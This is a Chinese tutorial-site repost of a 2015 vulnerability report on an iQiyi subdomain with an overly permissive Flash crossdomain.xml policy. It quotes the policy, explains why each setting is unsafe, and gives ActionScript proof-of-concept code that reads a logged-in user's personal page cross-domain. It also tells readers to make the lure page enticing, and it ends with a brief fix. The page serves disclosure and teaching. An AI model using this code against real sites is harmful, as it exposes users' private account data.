网站地图    收藏   

主页 > 后端 > 网站安全 >

奇异某分站flash跨域漏洞(带测试实现code) - 网站安

来源:自学PHP网    时间:2015-04-17 10:15 作者: 阅读:

[导读] flash跨域策略crossdomain.xml文件限制不严,造成flash csrf。看crossdomain.xml?xml version=1.0? cross-domain-policy site-control permitted-cross-domain-policies=all / allow-......

flash跨域策略crossdomain.xml文件限制不严,造成flash csrf。
看crossdomain.xml

<?xml version="1.0"?>
  <cross-domain-policy> <site-control permitted-cross-domain-policies="all" />
    <allow-access-from domain="*" />
    <allow-http-request-headers-from domain="*" headers="*"/>
</cross-domain-policy>


 

1:permitted-cross-domain-policies为all造成加载目标域上的任何文件作为跨域策略文件,甚至是一 个JPG也可被加载为策略文件![使用此选项那就等着被xx吧!]

2:allow-access-from 设为“*”任何的域,有权限通过flash读取本域中的内容。

3:allow-http-request-headers-from header设个“*”允许发送任何消息头。

个人首页url:http://i.iqiyi.com/home?lefttitlesign=percenter

获取用户用户个人首页信息:


 

import flash.net.*;

var mytest:String = "hello";
var myloader = new URLLoader(new URLRequest("http://i.iqiyi.com/home?lefttitlesign=percenter"));
myloader.addEventListener(Event.COMPLETE,test);
myloader.load();
function test(event:Event){
var ResponseText:String = myloader.data;
text1.text = ResponseText;
stop();
}


 


请求界面自己发挥下,弄点诱惑人的。




修复方案:

crossdomain.xml控制好

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论